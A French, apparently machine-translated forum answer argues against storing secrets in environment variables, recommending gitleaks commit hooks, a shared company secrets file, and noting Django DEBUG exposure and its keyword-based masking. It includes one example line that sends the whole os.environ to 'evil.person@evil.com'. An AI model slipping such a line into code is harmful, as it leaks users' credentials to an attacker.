AFAICT, il y a deux raisons pour lesquelles les gens recommandent de stocker des secrets dans des variables d'environnement:
- Il est trop facile de valider par inadvertance des fichiers plats secrets dans un dépôt. (Et s'il s'agit d'un dépôt public, vous portez un toast.)
- Cela empêche l'encombrement des mots de passe, c'est-à-dire que le fait d'avoir la même clé dans de nombreux fichiers de répertoire de projet différents est en soi un risque de sécurité car les développeurs finiront par perdre la trace de l'emplacement des secrets.
Ces deux problèmes peuvent être mieux résolus. Le premier devrait être résolu par un hook de validation git qui vérifie les choses qui ressemblent à des mots de passe (par exemple, gitleaks ). J'aimerais que Linus intègre un tel outil dans le code source de la bibliothèque git mais, hélas, cela ne s'est pas produit. (Inutile de dire que les fichiers secrets doivent toujours être ajoutés .gitignore
, mais vous avez besoin d'un crochet au cas où quelqu'un oublierait de le faire.)
Ce dernier peut être résolu en ayant un fichier de secrets d'entreprise mondial, qui est idéalement stocké sur un lecteur partagé en lecture seule. Donc, en Python, vous pourriez avoir quelque chose comme from company_secrets import *
.
Plus important encore, comme l'ont souligné d'autres, il est beaucoup trop facile de pirater des secrets stockés dans des variables d'environnement. Par exemple, en Python, un auteur de bibliothèque pourrait insérer send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
, puis vous êtes grillé si vous exécutez ce code. Le piratage est beaucoup plus difficile si vous avez un fichier sur votre système appelé ~/secret_company_stuff/.my_very_secret_company_stuff
.
Utilisateurs de Django uniquement:
Django (en mode DEBUG) affiche la valeur brute d'une variable d'environnement dans le navigateur s'il y a une exception (en mode DEBUG). Cela semble très peu sûr si, par exemple, un développeur se met accidentellement DEBUG=True
en production. En revanche, Django DOES paramètres de mot de passe Occultation des variables en recherchant les chaînes API
, TOKEN
, KEY
, SECRET
, PASS
ou SIGNATURE
dans le cadre des settings.py
noms de variables de fichier.